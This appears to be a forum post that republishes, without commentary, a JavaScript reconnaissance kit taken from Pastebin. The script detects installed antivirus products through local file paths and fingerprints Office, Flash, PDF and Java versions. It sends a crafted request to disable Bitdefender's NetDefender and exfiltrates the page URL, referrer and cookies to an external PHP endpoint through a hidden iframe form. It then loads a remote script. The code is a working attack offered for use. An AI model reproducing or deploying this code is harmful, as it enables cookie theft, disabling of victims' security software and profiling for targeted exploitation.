Jump to content
Nytro

[JS] Detect antivirus

By Nytro, in Programare

Recommended Posts

Nytro Mentor

Nytro

Posted
Posted 

window.justforfunnum = 25;

var justforfunpath=new Array("<?php return;?>==","avira==\\\\127.0.0.1\\c$\\Program  Files\\Avira\\AntiVir  Desktop\\avsda.dll","avira==\\\\127.0.0.1\\c$\\WINDOWS\\system32\\drivers\\avipbb.sys","bitdefender_2013==\\\\127.0.0.1\\c$\\Program  Files\\Bitdefender\\Bitdefender 2013  BETA\\BdProvider.dll","bitdefender_2013==\\\\127.0.0.1\\c$\\Program  Files\\Bitdefender\\Bitdefender 2013 BETA\\Active Virus  Control\\avc3_000_001\\avcuf32.dll","mcafee_enterprise==\\\\127.0.0.1\\c$\\Program  Files\\McAfee\\VirusScan  Enterprise\\RES0402\\McShield.dll","mcafee_enterprise==\\\\127.0.0.1\\c$\\Program  Files\\Common  Files\\McAfee\\SystemCore\\mytilus3.dll","mcafee_enterprise==\\\\127.0.0.1\\c$\\Program  Files\\Common  Files\\McAfee\\SystemCore\\mytilus3_worker.dll","avg2012==\\\\127.0.0.1\\c$\\Program  Files\\AVG Secure Search\\13.2.0.4\\AVG Secure  Search_toolbar.dll","avg2012==\\\\127.0.0.1\\c$\\Program Files\\Common  Files\\AVG Secure  Search\\DNTInstaller\\13.2.0\\avgdttbx.dll","avg2012==\\\\127.0.0.1\\c$\\WINDOWS\\system32\\drivers\\avgtpx86.sys","eset_nod32==\\\\127.0.0.1\\c$\\WINDOWS\\system32\\drivers\\eamon.sys","Dr.Web==\\\\127.0.0.1\\c$\\Program   Files\\DrWeb\\drwebsp.dll","Mse==\\\\127.0.0.1\\c$\\WINDOWS\\system32\\drivers\\MpFilter.sys","sophos==\\\\127.0.0.1\\c$\\PROGRA~1\\Sophos\\SOPHOS~1\\SOPHOS~1.DLL","f-secure2011==\\\\127.0.0.1\\c$\\program   files\\f-secure\\scanner-interface\\fsgkiapi.dll","f-secure2011==\\\\127.0.0.1\\c$\\Program   Files\\F-Secure\\FSPS\\program\\FSLSP.DLL","f-secure2011==\\\\127.0.0.1\\c$\\program   files\\f-secure\\hips\\fshook32.dll","Kaspersky_2012==\\\\127.0.0.1\\c$\\Program  Files\\Kaspersky Lab\\Kaspersky Anti-Virus  2012\\klwtblc.dll","Kaspersky_2012==\\\\127.0.0.1\\c$\\WINDOWS\\system32\\drivers\\klif.sys","Kaspersky_2013==\\\\127.0.0.1\\c$\\Program  Files\\Kaspersky Lab\\Kaspersky Anti-Virus  2013\\remote_eka_prague_loader.dll","Kaspersky_2013==\\\\127.0.0.1\\c$\\Program  Files\\Kaspersky Lab\\Kaspersky Anti-Virus  2013\\klwtblc.dll","Kaspersky_2013==\\\\127.0.0.1\\c$\\WINDOWS\\system32\\drivers\\kneps.sys","Kaspersky_2013==\\\\127.0.0.1\\c$\\WINDOWS\\system32\\drivers\\klflt.sys",'');
window.justforfunres = new Array();

function execjs(url) 
{
        var jsme = document.createElement('script');
        var page = document.getElementsByTagName('head').item(0); 
        jsme.src = url+'?'+Math.random();
        page.appendChild(jsme);
}
function include(formaction,vul)
        {
                var ref = document.referrer;
                var urlx = location.href;
                var temp="Url:"+urlx+"xxooxxooReferer:"+ref+"xxooxxooCookies:"+escape(document.cookie);
        if (document.all) 
                {

            iframe_tag = document.createElement("<iframe name=postformdata style=display:none>");
            document.getElementsByTagName('head')[0].appendChild(iframe_tag);
            var form_tag = document.createElement("form");
            form_tag.target="postformdata";
                        form_tag.method="POST";
                        form_tag.action = formaction;
            document.getElementsByTagName('head')[0].appendChild(form_tag);

            var i = document.createElement("input");
            i.type = "hidden";
            i.value = temp;
            i.name = "ck";

            var j = document.createElement("input");
            j.type = "hidden";
            j.value = vul;
            j.name = "vul";

                        form_tag.appendChild(i);       
                        form_tag.appendChild(j);
                        form_tag.submit();
        }
        else 
                {
            iframe_tag = document.createElement('iframe');
            iframe_tag.setAttribute("name", "postformdata");
                        iframe_tag.setAttribute("width", "0");
                        iframe_tag.setAttribute("height", "0");
            document.getElementsByTagName('head')[0].appendChild(iframe_tag);


            var form_tag = document.createElement("form");
            form_tag.setAttribute("target", "postformdata");
                        form_tag.setAttribute("action" ,formaction);
                        form_tag.setAttribute("method" ,"POST");
            document.getElementsByTagName('head')[0].appendChild(form_tag);


            var i = document.createElement("input");
                        i.setAttribute("type","hidden");
            i.setAttribute("value",temp);
            i.setAttribute("name","ck");

            var j = document.createElement("input");
                        j.setAttribute("type","hidden");
            j.setAttribute("value",vul);
            j.setAttribute("name","vul");                       

                        form_tag.appendChild(i);
            form_tag.appendChild(j);
                        form_tag.submit();

        }
    }
window.onerror = function()
{
        var arr = new Array();
        for(var i = 0; i < window.justforfunnum; i ++)
        {
                try
                {
                        arr.push(document.getElementById('v'+i).vul);
                }
                catch (e)
                {
                }
        }
        window.justforfunres.push(arr);
        return true;
}
function jstocreate(){

        for(i=0;i<justforfunpath.length-1;i++){
                var temp=justforfunpath[i].split('==');
                var h=document.createElement('script');
                h.id='v'+(i);
                h.vul=(i);
                h.name=temp[0];
                h.src=temp[1];
                document.getElementsByTagName('head')[0].appendChild(h);
        }


}

function officever()
{
        var ma=1;var mb=1;var mc=1;var md=1;try{ma=new ActiveXObject("SharePoint.OpenDocuments.4")}catch(e){}try{mb=new ActiveXObject("SharePoint.OpenDocuments.3")}catch(e){}try{mc=new ActiveXObject("SharePoint.OpenDocuments.2")}catch(e){}try{md=new ActiveXObject("SharePoint.OpenDocuments.1")}catch(e){}var a=typeof ma;var b=typeof mb;var c=typeof mc;var d=typeof md;var key="";if(a=="object"&&b=="object"&&c=="object"&&d=="object"){key="Office 2010"}if(a=="number"&&b=="object"&&c=="object"&&d=="object"){key="Office 2007"}if(a=="number"&&b=="number"&&c=="object"&&d=="object"){key="Office 2003"}if(a=="number"&&b=="number"&&c=="number"&&d=="object"){key="Office Xp"}return key
}

function plugin_pdf_ie()
{
        //ie
        var ma=1;
        var key="";
        try{ma=new ActiveXObject("AcroPDF.PDF");}catch(e){};
        var a=typeof ma;
        if(a=="object"){key="Adobe Reader";}
        return key;
}


function flashver()
{
        var flash=function(){};flash.prototype.controlVersion=function(){var version;var axo;var e;try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");version=axo.GetVariable("$version")}catch(e){}if(!version){try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");version="WIN 6,0,21,0";axo.AllowScriptAccess="always";version=axo.GetVariable("$version")}catch(e){}}if(!version){try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");version=axo.GetVariable("$version")}catch(e){}}if(!version){try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");version="WIN 3,0,18,0"}catch(e){}}if(!version){try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");version="WIN 2,0,0,11"}catch(e){version=-1}}var verArr=version.toString().split(",");var str="";for(var i=0,l=verArr.length;i<l;i++){if(verArr[i].indexOf("WIN")!=-1){str+=verArr[i].substring(3);str+="."}else{if(i==(l-1)){str+=verArr[i]}else{str+=verArr[i];str+="."}}}return(str)};flash.prototype.getSwfVer=function(){var isIE=(navigator.appVersion.indexOf("MSIE")!=-1)?true:false;var isWin=(navigator.appVersion.toLowerCase().indexOf("win")!=-1)?true:false;var isOpera=(navigator.userAgent.indexOf("Opera")!=-1)?true:false;var flashVer=-1;if(navigator.plugins!=null&&navigator.plugins.length>0){if(navigator.plugins["Shockwave  Flash 2.0"]||navigator.plugins["Shockwave Flash"]){var  swVer2=navigator.plugins["Shockwave Flash 2.0"]?" 2.0":"";var  flashDescription=navigator.plugins["Shockwave  Flash"+swVer2].description;var descArray=flashDescription.split(" ");var  tempArrayMajor=descArray[2].split(".");var  versionMajor=tempArrayMajor[0];var versionMinor=tempArrayMajor[1];var  versionRevision=descArray[3];if(versionRevision==""){versionRevision=descArray[4]}if(versionRevision[0]=="d"){versionRevision=versionRevision.substring(1)}else{if(versionRevision[0]=="r"){versionRevision=versionRevision.substring(1);if(versionRevision.indexOf("d")>0){versionRevision=versionRevision.substring(0,versionRevision.indexOf("d"))}}}var   flashVer=versionMajor+"."+versionMinor+"."+versionRevision}}else{if(navigator.userAgent.toLowerCase().indexOf("webtv/2.6")!=-1){flashVer=4}else{if(navigator.userAgent.toLowerCase().indexOf("webtv/2.5")!=-1){flashVer=3}else{if(navigator.userAgent.toLowerCase().indexOf("webtv")!=-1){flashVer=2}else{if(isIE&&isWin&&!isOpera){flashVer=new flash().controlVersion()}}}}}return flashVer};if(flash.prototype.getSwfVer()==-1){return"No Flash!"}else{return"Shockwave Flash "+flash.prototype.getSwfVer()}
}

function ajaxfun()
{
        var  XMLhttpObject=null;if(window.XMLHttpRequest){XMLhttpObject=new  XMLHttpRequest()}else{var  MSXML=["Msxml2.XMLHTTP.7.0","Msxml2.XMLHTTP.6.0","Msxml2.XMLHTTP.5.0","Msxml2.XMLHTTP.4.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","MSXML.XMLHTTP","MICROSOFT.XMLHTTP.1.0","MICROSOFT.XMLHTTP.1","Microsoft.XMLHTTP"];for(var  i=0;i<MSXML.length;i++){try{XMLhttpObject=new ActiveXObject(MSXML[i]);break}catch(ex){}}}return XMLhttpObject
}

function disabledbitdefender_2012()
{
        try{var src=document.body.firstChild.src;var ajax=ajaxfun();ajax.onreadystatechange=function(){if(ajax.readyState==4&&ajax.status==200){var temp=ajax.responseText;var a=temp.indexOf("this.ajax.setRequestHeader(");var b=temp.indexOf("this.ajax.send(params);");var head=temp.substring(a,;head=head.split("this.ajax.setRequestHeader(");head=head[2];head=head.replace(/\)/g,"");head=head.replace(/;/g,"");head=head.replace(/\"/g,"");head=head.replace(/ /g,"");head=head.replace(/\r\n/gi,"");head=head.split(",");var name=head[0].toString();var age=head[1].toString();var newajax=ajaxfun();newajax.open("POST",window.location+Math.random(),false);newajax.setRequestHeader("Content-type","application/x-www-form-urlencoded");newajax.setRequestHeader(name,age);var params="status=%3Cmodule%20uid%3D%22NetDefender.HTTP.Core%22%3E%3Cplugin%20uid%3D%22NetDefender.HTTP.Core%22%20feature%3D%22NetDefender.Feature.HTTP.Core.Status%22%20user%3D%22%22%20pid%3D%22%25PID%25%22%20status%3D%220%22%20%2F%3E%3C%2Fmodule%3E";newajax.send(params)}};ajax.open("GET",src,true);ajax.send()}catch(e){}
}

function bitdefender2012check()
{
        try{var temp=document.body.innerHTML;var key="netdefender/hui/ndhui.js";if(temp.indexOf(key)>0){disabledbitdefender_2012();return"bitdefender_2012"}else{return""}}catch(e){return""}
}

function unique(data){
        data = data || [];
        var a = {};
        for (var i=0; i<data.length; i++) {
                var v = data[i];
                if (typeof(a[v]) == 'undefined'){
                        a[v] = 1;
                }
        };
        data.length=0;
        for (var i in a){
                data[data.length] = i;
        }
        return data;
}

function java()
{
        var deployJava=function(){var l={core:["id","class","title","style"],i18n:["lang","dir"],events:["onclick","ondblclick","onmousedown","onmouseup","onmouseover","onmousemove","onmouseout","onkeypress","onkeydown","onkeyup"],applet:["codebase","code","name","archive","object","width","height","alt","align","hspace","vspace"],object:["classid","codebase","codetype","data","type","archive","declare","standby","height","width","usemap","name","tabindex","align","border","hspace","vspace"]};var b=l.object.concat(l.core,l.i18n,l.events);var m=l.applet.concat(l.core);function g(n){if(!d.debug){return}if(console.log){console.log(n)}else{alert(n)}}function k(o,n){if(o==null||o.length==0){return true}var q=o.charAt(o.length-1);if(q!="+"&&q!="*"&&(o.indexOf("_")!=-1&&q!="_")){o=o+"*";q="*"}o=o.substring(0,o.length-1);if(o.length>0){var   p=o.charAt(o.length-1);if(p=="."||p=="_"){o=o.substring(0,o.length-1)}}if(q=="*"){return(n.indexOf(o)==0)}else{if(q=="+"){return  o<=n}}return false}function e(){var n="//java.com/js/webstart.png";try{return document.location.protocol.indexOf("http")!=-1?n:"http:"+n}catch(o){return"http:"+n}}function j(p,o){var n=p.length;for(var q=0;q<n;q++){if(p[q]===o){return true}}return false}function c(n){return j(m,n.toLowerCase())}function i(n){return j(b,n.toLowerCase())}function a(n){if("MSIE"!=deployJava.browserName){return true}if(deployJava.compareVersionToPattern(deployJava.getPlugin().version,["10","0","0"],false,true)){return true}if(n==null){return false}return !k("1.6.0_33+",n)}var d={debug:null,version:"20120801",firefoxJavaVersion:null,myInterval:null,preInstallJREList:null,returnPage:null,brand:null,locale:null,installType:null,EAInstallEnabled:false,EarlyAccessURL:null,getJavaURL:"http://jdl.sun.com/webapps/getjava/BrowserRedirect?host=java.com",oldMimeType:"application/npruntime-scriptable-plugin;DeploymentToolkit",mimeType:"application/java-deployment-toolkit",launchButtonPNG:e(),browserName:null,browserName2:null,getJREs:function(){var r=new Array();if(this.isPluginInstalled()){var q=this.getPlugin();var n=q.jvms;for(var p=0;p<n.getLength();p++){r[p]=n.get(p).version}}else{var o=this.getBrowser();if(o=="MSIE"){if(this.testUsingActiveX("1.7.0")){r[0]="1.7.0"}else{if(this.testUsingActiveX("1.6.0")){r[0]="1.6.0"}else{if(this.testUsingActiveX("1.5.0")){r[0]="1.5.0"}else{if(this.testUsingActiveX("1.4.2")){r[0]="1.4.2"}else{if(this.testForMSVM()){r[0]="1.1"}}}}}}else{if(o=="Netscape Family"){this.getJPIVersionUsingMimeType();if(this.firefoxJavaVersion!=null){r[0]=this.firefoxJavaVersion}else{if(this.testUsingMimeTypes("1.7")){r[0]="1.7.0"}else{if(this.testUsingMimeTypes("1.6")){r[0]="1.6.0"}else{if(this.testUsingMimeTypes("1.5")){r[0]="1.5.0"}else{if(this.testUsingMimeTypes("1.4.2")){r[0]="1.4.2"}else{if(this.browserName2=="Safari"){if(this.testUsingPluginsArray("1.7.0")){r[0]="1.7.0"}else{if(this.testUsingPluginsArray("1.6")){r[0]="1.6.0"}else{if(this.testUsingPluginsArray("1.5")){r[0]="1.5.0"}else{if(this.testUsingPluginsArray("1.4.2")){r[0]="1.4.2"}}}}}}}}}}}}}if(this.debug){for(var p=0;p<r.length;++p){g("[getJREs()] We claim to have detected Java SE "+r[p])}}return r},installJRE:function(q,o){var n=false;if(this.isPluginInstalled()&&this.isAutoInstallEnabled(q)){var p=false;if(this.isCallbackSupported()){p=this.getPlugin().installJRE(q,o)}else{p=this.getPlugin().installJRE(q)}if(p){this.refresh();if(this.returnPage!=null){document.location=this.returnPage}}return p}else{return this.installLatestJRE()}},isAutoInstallEnabled:function(n){if(!this.isPluginInstalled()){return false}if(typeof n=="undefined"){n=null}return a(n)},isCallbackSupported:function(){return this.isPluginInstalled()&&this.compareVersionToPattern(this.getPlugin().version,["10","2","0"],false,true)},installLatestJRE:function(p){if(this.isPluginInstalled()&&this.isAutoInstallEnabled()){var q=false;if(this.isCallbackSupported()){q=this.getPlugin().installLatestJRE(p)}else{q=this.getPlugin().installLatestJRE()}if(q){this.refresh();if(this.returnPage!=null){document.location=this.returnPage}}return q}else{var o=this.getBrowser();var n=navigator.platform.toLowerCase();if((this.EAInstallEnabled=="true")&&(n.indexOf("win")!=-1)&&(this.EarlyAccessURL!=null)){this.preInstallJREList=this.getJREs();if(this.returnPage!=null){this.myInterval=setInterval("deployJava.poll()",3000)}location.href=this.EarlyAccessURL;return false}else{if(o=="MSIE"){return this.IEInstall()}else{if((o=="Netscape Family")&&(n.indexOf("win32")!=-1)){return this.FFInstall()}else{location.href=this.getJavaURL+((this.returnPage!=null)?("&returnPage="+this.returnPage):"")+((this.locale!=null)?("&locale="+this.locale):"")+((this.brand!=null)?("&brand="+this.brand):"")}}return false}}},runApplet:function(o,t,q){if(q=="undefined"||q==null){q="1.1"}var r="^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";var n=q.match(r);if(this.returnPage==null){this.returnPage=document.location}if(n!=null){var p=this.getBrowser();if(p!="?"){if(this.versionCheck(q+"+")){this.writeAppletTag(o,t)}else{if(this.installJRE(q+"+")){this.refresh();location.href=document.location;this.writeAppletTag(o,t)}}}else{this.writeAppletTag(o,t)}}else{g("[runApplet()] Invalid minimumVersion argument to runApplet():"+q)}},writeAppletTag:function(q,v){var n="<applet ";var p="";var r="</applet>";var  w=true;if(null==v||typeof v!="object"){v=new Object()}for(var o in  q){if(!c(o)){v[o]=q[o]}else{n+=("  "+o+'="'+q[o]+'"');if(o=="code"){w=false}}}var u=false;for(var t in  v){if(t=="codebase_lookup"){u=true}if(t=="object"||t=="java_object"||t=="java_code"){w=false}p+='<param name="'+t+'" value="'+v[t]+'"/>'}if(!u){p+='<param name="codebase_lookup" value="false"/>'}if(w){n+=('   code="dummy"')}n+=">";document.write(n+"\n"+p+"\n"+r)},versionCheck:function(o){var  u=0;var  w="^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?(\\*|\\+)?$";var  x=o.match(w);if(x!=null){var q=false;var t=false;var p=new  Array();for(var r=1;r<x.length;++r){if((typeof x[r]=="string")&&(x[r]!="")){p[u]=x[r];u++}}if(p[p.length-1]=="+"){t=true;q=false;p.length--}else{if(p[p.length-1]=="*"){t=false;q=true;p.length--}else{if(p.length<4){t=false;q=true}}}var v=this.getJREs();for(var r=0;r<v.length;++r){if(this.compareVersionToPattern(v[r],p,q,t)){return true}}return false}else{var n="Invalid versionPattern passed to versionCheck: "+o;g("[versionCheck()] "+n);alert(n);return false}},isWebStartInstalled:function(q){var p=this.getBrowser();if(p=="?"){return true}if(q=="undefined"||q==null){q="1.4.2"}var o=false;var r="^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";var n=q.match(r);if(n!=null){o=this.versionCheck(q+"+")}else{g("[isWebStartInstaller()] Invalid minimumVersion argument to isWebStartInstalled(): "+q);o=this.versionCheck("1.4.2+")}return o},getJPIVersionUsingMimeType:function(){for(var o=0;o<navigator.mimeTypes.length;++o){var p=navigator.mimeTypes[o].type;var n=p.match(/^application\/x-java-applet;jpi-version=(.*)$/);if(n!=null){this.firefoxJavaVersion=n[1];if("Opera"!=this.browserName2){break}}}},launchWebStartApplication:function(q){var n=navigator.userAgent.toLowerCase();this.getJPIVersionUsingMimeType();if(this.isWebStartInstalled("1.7.0")==false){if((this.installJRE("1.7.0+")==false)||((this.isWebStartInstalled("1.7.0")==false))){return false}}var t=null;if(document.documentURI){t=document.documentURI}if(t==null){t=document.URL}var o=this.getBrowser();var p;if(o=="MSIE"){p='<object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" width="0" height="0"><PARAM name="launchjnlp" value="'+q+'"><PARAM name="docbase" value="'+t+'"></object>'}else{if(o=="Netscape Family"){p='<embed type="application/x-java-applet;jpi-version='+this.firefoxJavaVersion+'" width="0" height="0" launchjnlp="'+q+'"docbase="'+t+'" />'}}if(document.body=="undefined"||document.body==null){document.write(p);document.location=t}else{var   r=document.createElement("div");r.id="div1";r.style.position="relative";r.style.left="-10000px";r.style.margin="0px   auto";r.className="dynamicDiv";r.innerHTML=p;document.body.appendChild(r)}},createWebStartLaunchButtonEx:function(p,o){if(this.returnPage==null){this.returnPage=p}var   n="javascript:deployJava.launchWebStartApplication('"+p+"');";document.write('<a href="'+n+'" onMouseOver="window.status=\'\'; return true;"><img src="'+this.launchButtonPNG+'" border="0" /></a>')},createWebStartLaunchButton:function(p,o){if(this.returnPage==null){this.returnPage=p}var  n="javascript:if (!deployJava.isWebStartInstalled(""+o+"")) {if (deployJava.installLatestJRE()) {if (deployJava.launch(""+p+"")) {}}} else {if (deployJava.launch(""+p+"")) {}}";document.write('<a href="'+n+'" onMouseOver="window.status=\'\'; return true;"><img src="'+this.launchButtonPNG+'" border="0" /></a>')},launch:function(n){document.location=n;return true},isPluginInstalled:function(){var n=this.getPlugin();if(n&&n.jvms){return  true}else{return  false}},isAutoUpdateEnabled:function(){if(this.isPluginInstalled()){return  this.getPlugin().isAutoUpdateEnabled()}return  false},setAutoUpdateEnabled:function(){if(this.isPluginInstalled()){return  this.getPlugin().setAutoUpdateEnabled()}return  false},setInstallerType:function(n){this.installType=n;if(this.isPluginInstalled()){return  this.getPlugin().setInstallerType(n)}return  false},setAdditionalPackages:function(n){if(this.isPluginInstalled()){return  this.getPlugin().setAdditionalPackages(n)}return  false},setEarlyAccess:function(n){this.EAInstallEnabled=n},isPlugin2:function(){if(this.isPluginInstalled()){if(this.versionCheck("1.6.0_10+")){try{return  this.getPlugin().isPlugin2()}catch(n){}}}return  false},allowPlugin:function(){this.getBrowser();var  n=("Safari"!=this.browserName2&&"Opera"!=this.browserName2);return  n},getPlugin:function(){this.refresh();var  n=null;if(this.allowPlugin()){n=document.getElementById("deployJavaPlugin")}return   n},compareVersionToPattern:function(u,o,q,r){if(u==undefined||o==undefined){return  false}var v="^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";var  w=u.match(v);if(w!=null){var t=0;var x=new Array();for(var p=1;p<w.length;++p){if((typeof w[p]=="string")&&(w[p]!="")){x[t]=w[p];t++}}var n=Math.min(x.length,o.length);if(r){for(var p=0;p<n;++p){if(x[p]<o[p]){return false}else{if(x[p]>o[p]){return true}}}return true}else{for(var p=0;p<n;++p){if(x[p]!=o[p]){return false}}if(q){return true}else{return(x.length==o.length)}}}else{return false}},getBrowser:function(){if(this.browserName==null){var n=navigator.userAgent.toLowerCase();g("[getBrowser()] navigator.userAgent.toLowerCase() -> "+n);if((n.indexOf("msie")!=-1)&&(n.indexOf("opera")==-1)){this.browserName="MSIE";this.browserName2="MSIE"}else{if(n.indexOf("iphone")!=-1){this.browserName="Netscape  Family";this.browserName2="iPhone"}else{if((n.indexOf("firefox")!=-1)&&(n.indexOf("opera")==-1)){this.browserName="Netscape Family";this.browserName2="Firefox"}else{if(n.indexOf("chrome")!=-1){this.browserName="Netscape   Family";this.browserName2="Chrome"}else{if(n.indexOf("safari")!=-1){this.browserName="Netscape  Family";this.browserName2="Safari"}else{if((n.indexOf("mozilla")!=-1)&&(n.indexOf("opera")==-1)){this.browserName="Netscape Family";this.browserName2="Other"}else{if(n.indexOf("opera")!=-1){this.browserName="Netscape   Family";this.browserName2="Opera"}else{this.browserName="?";this.browserName2="unknown"}}}}}}}g("[getBrowser()]  Detected browser name:"+this.browserName+", "+this.browserName2)}return  this.browserName},testUsingActiveX:function(n){var  p="JavaWebStart.isInstalled."+n+".0";if(typeof  ActiveXObject=="undefined"||!ActiveXObject){g("[testUsingActiveX()]  Browser claims to be IE, but no ActiveXObject object?");return  false}try{return(new ActiveXObject(p)!=null)}catch(o){return  false}},testForMSVM:function(){var  o="{08B0E5C0-4FCB-11CF-AAA5-00401C608500}";if(typeof  oClientCaps!="undefined"){var  n=oClientCaps.getComponentVersion(o,"ComponentID");if((n=="")||(n=="5,0,5000,0")){return  false}else{return true}}else{return  false}},testUsingMimeTypes:function(o){if(!navigator.mimeTypes){g("[testUsingMimeTypes()]  Browser claims to be Netscape family, but no mimeTypes[]  array?");return false}for(var p=0;p<navigator.mimeTypes.length;++p){s=navigator.mimeTypes[p].type;var n=s.match(/^application\/x-java-applet\x3Bversion=(1\.8|1\.7|1\.6|1\.5|1\.4\.2)$/);if(n!=null){if(this.compareVersions(n[1],o)){return true}}}return false},testUsingPluginsArray:function(o){if((!navigator.plugins)||(!navigator.plugins.length)){return false}var n=navigator.platform.toLowerCase();for(var p=0;p<navigator.plugins.length;++p){s=navigator.plugins[p].description;if(s.search(/^Java Switchable Plug-in (Cocoa)/)!=-1){if(this.compareVersions("1.5.0",o)){return true}}else{if(s.search(/^Java/)!=-1){if(n.indexOf("win")!=-1){if(this.compareVersions("1.5.0",o)||this.compareVersions("1.6.0",o)){return true}}}}}if(this.compareVersions("1.5.0",o)){return true}return false},IEInstall:function(){location.href=this.getJavaURL+((this.returnPage!=null)?("&returnPage="+this.returnPage):"")+((this.locale!=null)?("&locale="+this.locale):"")+((this.brand!=null)?("&brand="+this.brand):"");return false},done:function(o,n){},FFInstall:function(){location.href=this.getJavaURL+((this.returnPage!=null)?("&returnPage="+this.returnPage):"")+((this.locale!=null)?("&locale="+this.locale):"")+((this.brand!=null)?("&brand="+this.brand):"")+((this.installType!=null)?("&type="+this.installType):"");return false},compareVersions:function(q,r){var o=q.split(".");var n=r.split(".");for(var p=0;p<o.length;++p){o[p]=Number(o[p])}for(var p=0;p<n.length;++p){n[p]=Number(n[p])}if(o.length==2){o[2]=0}if(o[0]>n[0]){return true}if(o[0]<n[0]){return false}if(o[1]>n[1]){return true}if(o[1]<n[1]){return false}if(o[2]>n[2]){return true}if(o[2]<n[2]){return false}return true},enableAlerts:function(){this.browserName=null;this.debug=true},poll:function(){this.refresh();var n=this.getJREs();if((this.preInstallJREList.length==0)&&(n.length!=0)){clearInterval(this.myInterval);if(this.returnPage!=null){location.href=this.returnPage}}if((this.preInstallJREList.length!=0)&&(n.length!=0)&&(this.preInstallJREList[0]!=n[0])){clearInterval(this.myInterval);if(this.returnPage!=null){location.href=this.returnPage}}},writePluginTag:function(){var n=this.getBrowser();if(n=="MSIE"){}else{if(n=="Netscape Family"&&this.allowPlugin()){this.writeEmbedTag()}}},refresh:function(){navigator.plugins.refresh(false);var n=this.getBrowser();if(n=="Netscape Family"&&this.allowPlugin()){var o=document.getElementById("deployJavaPlugin");if(o==null){this.writeEmbedTag()}}},writeEmbedTag:function(){var n=false;if(navigator.mimeTypes!=null){for(var o=0;o<navigator.mimeTypes.length;o++){if(navigator.mimeTypes[o].type==this.mimeType){if(navigator.mimeTypes[o].enabledPlugin){document.write('<embed id="deployJavaPlugin" type="'+this.mimeType+'" hidden="true" />');n=true}}}if(!n){for(var o=0;o<navigator.mimeTypes.length;o++){if(navigator.mimeTypes[o].type==this.oldMimeType){if(navigator.mimeTypes[o].enabledPlugin){document.write('<embed id="deployJavaPlugin" type="'+this.oldMimeType+'" hidden="true" />')}}}}}}};d.writePluginTag();if(d.locale==null){var   h=null;if(h==null){try{h=navigator.userLanguage}catch(f){}}if(h==null){try{h=navigator.systemLanguage}catch(f){}}if(h==null){try{h=navigator.language}catch(f){}}if(h!=null){h.replace("-","_");d.locale=h}}return  d}();
        var temp=deployJava.getJREs();
        var re="";
        if(temp=="")
        {
                re="No Java or Disable";
        }
        else
        {
                re="Java Version is:"+temp;
        }
        return re;
}
var alldata=new Array();
window.onload = function()
{
        jstocreate();
        var retmp = new Array();
        for (var i = 0; i < window.justforfunnum; i ++)
        {
                var cpr = new Array();
                for (var j = 0; j <= i; j ++)
                {
                        cpr.push(j);
                }
                for (var j = 0; j < window.justforfunres.length; j ++)
                {
                        if (window.justforfunres[j].toString() == cpr.toString())
                        {
                                retmp.push(i);
                        }
                }
        }
        var sun=retmp;
        var data=new Array();
        for(i=0;i<sun.length;i++){
        var temp=document.getElementById('v'+sun[i]).name;
        data.push(temp);
        }

        var kav_2013=0;
        var kav_2012=0;
        for(i=0;i<data.length;i++)
        {
                if(data[i]=="Kaspersky_2013")
                {
                        kav_2013=1;
                }
        }
        for(i=0;i<data.length;i++)
        {
                if(data[i]=="Kaspersky_2012")
                {
                        kav_2012=1;
                }
        }

        if(kav_2013==1 &&kav_2012==1)
        {
                for(i=0;i<data.length;i++)
                {
                        if(data[i]=="Kaspersky_2012")
                        {
                                data[i]="Kaspersky_2013";
                        }
                }
        }

        data=unique(data);

        alldata.push(flashver());
        alldata.push(officever());      
        alldata.push(plugin_pdf_ie());          
        alldata.push(bitdefender2012check());   

        if((typeof java)=="function")
        {
                alldata.push(java());
        }

        data=data.join(",");
        data=data.replace(/,,/g,",");
        alldata=alldata.join(",");
        alldata=alldata.replace(/,,/g,",");
        var put=alldata+","+data;

        include('[redacted]js.php',put);
        var tkphp="[redacted]css.js";
        execjs(tkphp);
}

Sursa: 

 test - Pastebin.com
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...